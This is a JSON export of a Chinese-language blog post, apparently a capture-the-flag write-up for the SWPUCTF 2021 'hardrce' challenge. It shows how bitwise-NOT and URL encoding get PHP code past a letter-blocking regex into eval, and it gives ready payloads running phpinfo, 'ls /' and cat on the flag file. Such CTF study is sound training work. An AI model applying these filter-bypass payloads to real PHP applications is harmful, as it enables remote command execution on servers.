{"id":1147,"date":"2025-01-18T23:24:02","date_gmt":"2025-01-18T15:24:02","guid":{"rendered":"http:\/\/gzxingyu.cloud\/?p=1147"},"modified":"2025-01-18T23:24:03","modified_gmt":"2025-01-18T15:24:03","slug":"swpuctf-2021-%e6%96%b0%e7%94%9f%e8%b5%9bhardrce","status":"publish","type":"post","link":"http:\/\/gzxingyu.cloud\/index.php\/2025\/01\/18\/swpuctf-2021-%e6%96%b0%e7%94%9f%e8%b5%9bhardrce\/","title":{"rendered":"SWPUCTF 2021 \u65b0\u751f\u8d5bhardrce"},"content":{"rendered":"

\"Pasted<\/p>\n

\"Pasted<\/div>
\n\u4ee3\u7801\u5ba1\u8ba1\uff1a
\n\u4f7f\u7528get\u65b9\u5f0f\u8bf7\u6c42\u7ed9wllm\u4f20\u53c2
\n\u4f7f\u7528preg_match\u51fd\u6570\u5219\u5339\u914d\u8fc7\u6ee4\u6389\u4e86\u4e00\u4e9b\u7b26\u53f7
\n\u4ee5\u53ca [a-zA-Z] \u5373\u6240\u6709\u7684\u5927\u5c0f\u5199\u5b57\u6bcd<\/p>\n

\u53ef\u4ee5\u8003\u8651\u65e0\u5b57\u6bcdRCE\u7ed5\u8fc7
\nURL\u7f16\u7801\u53d6\u53cd\u7ed5\u8fc7\u6b63\u5219\u5b9e\u73b0RCE\uff1a
\n\u65e0\u53c2\u6570\u51fd\u6570\uff1a
\nphpinfo();<\/p>\n

<?php
\necho urlencode(~’phpinfo’);
\n?>
\n\u8f93\u51fa\u7ed3\u679c\uff1a
\n%8F%97%8F%96%91%99%90<\/p>\n

\u5728\u53d1\u9001\u00a0payload\u00a0\u7684\u65f6\u5019\u5c06\u5176\u53d6\u53cd\uff0c\u4fbf\u53ef\u8fd8\u539f\u4ee3\u7801\uff1b
\n\u56e0\u4e3a\u53d6\u53cd\u64cd\u4f5c\u540e\u57fa\u672c\u4e0a\u7528\u7684\u90fd\u662f\u4e0d\u53ef\u89c1\u5b57\u7b26\uff0c\u6240\u4ee5\u4e0d\u4f1a\u89e6\u53d1\u6b63\u5219\u5339\u914d\u3002
\n\u56e0\u4e3a\u4f7f\u7528\u7684\u662feval\u51fd\u6570\uff0c\u5728\u7ed3\u5c3e\u9700\u8981\u52a0 \uff1b
\n\u4f7f\u7528get\u4f20\u53c2
\n?wllm=(~%8F%97%8F%96%91%99%90)();
\n

\"Pasted<\/div>
\n\u6ce8\u610f\uff1a\u5728\u4f7f\u7528\u53d6\u53cd\u7f16\u7801\u518d\u53d6\u53cd\u8fdb\u884c\u7ed5\u8fc7\u65f6\uff0c\u60f3\u8981\u6267\u884c\u6211\u4eec\u6307\u5b9a\u7684\u4ee3\u7801\uff0c\u4f20\u5165\u7684payload\u5fc5\u987b\u8981\u6ee1\u8db3\u00a0(\u51fd\u6570\u540d)()\u00a0\u8fd9\u6837\u7684\u5f62\u5f0f\uff0c\u5426\u5219\u5728\u53d6\u53cd\u4e4b\u524dPHP\u89e3\u91ca\u5668\u5e76\u4e0d\u77e5\u9053\u662f\u8981\u6267\u884c\u4e00\u4e2a\u51fd\u6570\uff0c\u53d6\u53cd\u4e4b\u540e\u5c31\u7b97\u662f\u4e00\u4e2a\u51fd\u6570\u4e5f\u4e0d\u4f1a\u88ab\u5f53\u4f5c\u4ee3\u7801\u6267\u884c\u3002<\/p>\n

\u6709\u53c2\u6570\u51fd\u6570\uff1a
\nsystem(‘ls \/’);<\/p>\n

\u5206\u522b\u5bf9 system \u548c ls \/ \u8fdb\u884c\u53d6\u53cd\u3001\u7f16\u7801\uff0c\u8f93\u51fa"\\n"\u662f\u7528\u6765\u6362\u884c
\n<?php
\necho urlencode(~’system’);
\necho "<br>";
\necho urlencode(~’ls \/’);
\n?>
\n\u8f93\u51fa\uff1a
\n%8C%86%8C%8B%9A%92
\n%93%8C%DF%D0<\/p>\n

\u518d\u5206\u522b\u5bf9\u5b83\u4eec\u518d\u6b21\u8fdb\u884c\u53d6\u53cd\u64cd\u4f5c
\n\u6784\u9020payload\uff1a?wllm=(~%8C%86%8C%8B%9A%92)(~%93%8C%DF%D0);
\n\"Pasted<\/p>\n

\u547d\u4ee4\u6267\u884c\u6210\u529f\uff0c\u53d1\u73b0\u5b58\u5728\u540d\u4e3aflllllaaaaaaggggggg\u7684\u6587\u4ef6
\n\u6211\u4eec\u5c1d\u8bd5\u83b7\u53d6\u5b83
\nsystem(cat \/flllllaaaaaaggggggg);<\/p>\n

<?php
\necho urlencode(~’cat \/flllllaaaaaaggggggg’);
\necho "<br>";
\necho urlencode(~’system’);
\n?><\/p>\n

%9C%9E%8B%DF%D0%99%93%93%93%93%93%9E%9E%9E%9E%9E%9E%98%98%98%98%98%98%98
\n%8C%86%8C%8B%9A%92<\/p>\n

payload:?wllm=(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%D0%99%93%93%93%93%93%9E%9E%9E%9E%9E%9E%98%98%98%98%98%98%98);
\n\u6210\u529f\u83b7\u53d6flag<\/p>\n

\"Pasted<\/p>\n

\u603b\u7ed3<\/h3>\n

\u65e0\u5b57\u6bcdRCE\u7ed5\u8fc7\uff1a<\/h3>\n

\u5f02\u6216\u3001\u53d6\u53cd\u3001\u81ea\u589e\u3001\u4e34\u65f6\u6587\u4ef6\u4e0a\u4f20\uff1b<\/p>\n

\u53d6\u53cd\u7ed5\u8fc7\uff1a<\/h4>\n

\u7f16\u5199php\u811a\u672c\u4ee3\u7801
\n<?php
\necho urlencode(~’system’);
\n?>
\n\u6ce8\u610f\uff1a\u5728\u4f7f\u7528\u53d6\u53cd\u7f16\u7801\u518d\u53d6\u53cd\u8fdb\u884c\u7ed5\u8fc7\u65f6\uff0c\u60f3\u8981\u6267\u884c\u6211\u4eec\u6307\u5b9a\u7684\u4ee3\u7801\uff0c\u4f20\u5165\u7684payload\u5fc5\u987b\u8981\u6ee1\u8db3\u00a0(\u51fd\u6570\u540d)()\u00a0\u8fd9\u6837\u7684\u5f62\u5f0f
\npayload:?wllm=(~%8C%86%8C%8B%9A%92)(\u53c2\u6570);<\/p>\n

eval\u51fd\u6570<\/h3>\n","protected":false},"excerpt":{"rendered":"

\u4ee3\u7801\u5ba1\u8ba1\uff1a \u4f7f\u7528get\u65b9\u5f0f\u8bf7\u6c42\u7ed9wllm\u4f20\u53c2 \u4f7f\u7528preg_match\u51fd\u6570\u5219\u5339\u914d\u8fc7\u6ee4\u6389\u4e86\u4e00\u4e9b\u7b26\u53f7 \u4ee5\u53ca [a- […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[8,22,23],"tags":[26,45,29],"class_list":["post-1147","post","type-post","status-publish","format-standard","hentry","category-ctf","category-ctf-web","category-nssctf","tag-rce","tag-29"],"_links":{"self":[{"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/posts\/1147","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/comments?post=1147"}],"version-history":[{"count":1,"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/posts\/1147\/revisions"}],"predecessor-version":[{"id":1148,"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/posts\/1147\/revisions\/1148"}],"wp:attachment":[{"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/media?parent=1147"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/categories?post=1147"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/tags?post=1147"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}